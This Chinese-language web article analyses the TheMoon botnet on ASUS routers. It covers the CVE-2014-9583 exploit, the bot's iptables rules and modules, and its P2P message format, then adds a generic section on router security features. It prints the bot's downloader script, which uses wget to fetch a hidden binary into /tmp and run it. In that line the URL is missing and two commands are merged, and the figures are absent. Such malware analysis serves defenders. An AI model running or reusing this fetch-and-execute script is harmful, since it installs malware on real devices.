感染華碩路由器的P2P僵尸網(wǎng)絡(luò)程序介紹
作為不同網(wǎng)絡(luò)之間互相連接的樞紐,路由器系統(tǒng)構(gòu)成了基于TCP/IP 的國際互聯(lián)網(wǎng)絡(luò)Internet 的主體脈絡(luò),也可以說,路由器構(gòu)成了Internet的骨架。很多電腦用戶對于華碩路由器感染僵尸網(wǎng)絡(luò)很迷茫,下面小編主要針對這個問題為大家講解感染華碩路由器的P2P僵尸網(wǎng)絡(luò)程序TheMoon,希望可以幫助到大家
具體介紹
僵尸網(wǎng)絡(luò)是指采用一種或多種傳播手段,是指實現(xiàn)惡意控制功能的程序代碼,在控制者和被感染主機之間所形成的一個可一對多控制的網(wǎng)絡(luò)。
利用wireshark抓包捕獲的僵尸程序攻擊流量,可看出僵尸程序使用了CVE-2014-9583漏洞利用代碼。
CVE-2014-9583 :ASUS WRT是華碩(ASUS)公司的一個路由器固件。RT-AC66U、RT-N66U等多款路由器中使用的ASUS WRT的infosvr中的common.c文件中存在安全漏洞,該漏洞源于程序沒有正確檢查請求的MAC地址。遠程攻擊者可通過向UDP 9999端口發(fā)送NET_CMD_ID_MANU_CMD數(shù)據(jù)包利用該漏洞繞過身份驗證,執(zhí)行任意命令。詳情參見GitHub
以下是bot從網(wǎng)站自動下載的nmlt1.sh文件內(nèi)容
#!/bin/sh
cd /tmp
rm -f .nttpd
wget -O .nttpd chmod +x .nttpd
./.nttpd
路由器將會從攻擊者控制的網(wǎng)站上自動下載并執(zhí)行.nttpd文件,.nttpd運行后將成為駐留進程。以下為.nttpd文件哈希信息
\
該bot程序?qū)儆赥heMoon惡意軟件系列,程序結(jié)構(gòu)如下:
\
該bot程序主要不同在于os_init和 run_modules函數(shù),os_init中插入了8個iptables規(guī)則:
\
為了獲得感染設(shè)備的絕對控制權(quán),防止反復(fù)感染,其中第一條規(guī)則通過關(guān)閉端口9999,阻止其它攻擊者利用華碩CVE-2014-9583漏洞;第二條規(guī)則是關(guān)閉多個端口,阻止其它攻擊者利用D-Link的一個遠程命令執(zhí)行漏洞。其余為bot程序建立的網(wǎng)絡(luò)通信規(guī)則。
在run_modules中,bot加載了3個模塊:CLK 、NET、DWL,我們依次來做分析:
CLK模塊
該模塊加載了兩個線程,一個用來計時,一個用來同步,它通過查詢公開NTP服務(wù)器保持UTC時間。抓包發(fā)現(xiàn)bot與NTP服務(wù)器之間的請求回應(yīng)流量
\
Net模塊
該模塊開啟了UDP 5143端口,并創(chuàng)建了一個P2P通信線程。值得注意的是,與通常的端口通信不同,該bot程序支持3種不特定的消息類型。
Register message
RegisterTo message
FetchCommand message
每種類型都包含相同的頭結(jié)構(gòu):
Offset Size Description
0 1 Body length
1 1 Message Type
2 1 TTL
3 1 0x8F (variant specific)
相關(guān)閱讀:路由器安全特性關(guān)鍵點
由于路由器是網(wǎng)絡(luò)中比較關(guān)鍵的設(shè)備,針對網(wǎng)絡(luò)存在的各種安全隱患,路由器必須具有如下的安全特性:
(1)可靠性與線路安全 可靠性要求是針對故障恢復(fù)和負載能力而提出來的。對于路由器來說,可靠性主要體現(xiàn)在接口故障和網(wǎng)絡(luò)流量增大兩種情況下,為此,備份是路由器不可或缺的手段之一。當主接口出現(xiàn)故障時,備份接口自動投入工作,保證網(wǎng)絡(luò)的正常運行。當網(wǎng)絡(luò)流量增大時,備份接口又可承當負載分擔的任務(wù)。
(2)身份認證路由器中的身份認證主要包括訪問路由器時的身份認證、對端路由器的身份認證和路由信息的身份認證。
(3)訪問控制對于路由器的訪問控制,需要進行口令的分級保護。有基于IP地址的訪問控制和基于用戶的訪問控制。
(4)信息隱藏與對端通信時,不一定需要用真實身份進行通信。通過地址轉(zhuǎn)換,可以做到隱藏網(wǎng)內(nèi)地址,只以公共地址的方式訪問外部網(wǎng)絡(luò)。除了由內(nèi)部網(wǎng)絡(luò)首先發(fā)起的連接,網(wǎng)外用戶不能通過地址轉(zhuǎn)換直接訪問網(wǎng)內(nèi)資源。
(5)數(shù)據(jù)加密
為了避免因為數(shù)據(jù)竊聽而造成的信息泄漏,有必要對所傳輸?shù)男畔⑦M行加密,只有與之通信的對端才能對此密文進行解密。通過對路由器所發(fā)送的報文進行加密,即使在Internet上進行傳輸,也能保證數(shù)據(jù)的私有性、完整性以及報文內(nèi)容的真實性。
(6)攻擊探測和防范
路由器作為一個內(nèi)部網(wǎng)絡(luò)對外的接口設(shè)備,是攻擊者進入內(nèi)部網(wǎng)絡(luò)的第一個目標。如果路由器不提供攻擊檢測和防范,則也是攻擊者進入內(nèi)部網(wǎng)絡(luò)的一個橋梁。在路由器上提供攻擊檢測,可以防止一部分的攻擊。
(7)安全管理
內(nèi)部網(wǎng)絡(luò)與外部網(wǎng)絡(luò)之間的每一個數(shù)據(jù)報文都會通過路由器,在路由器上進行報文的審計可以提供網(wǎng)絡(luò)運行的必要信息,有助于分析網(wǎng)絡(luò)的運行情況。
P2P網(wǎng)絡(luò)程序介紹相關(guān)文章: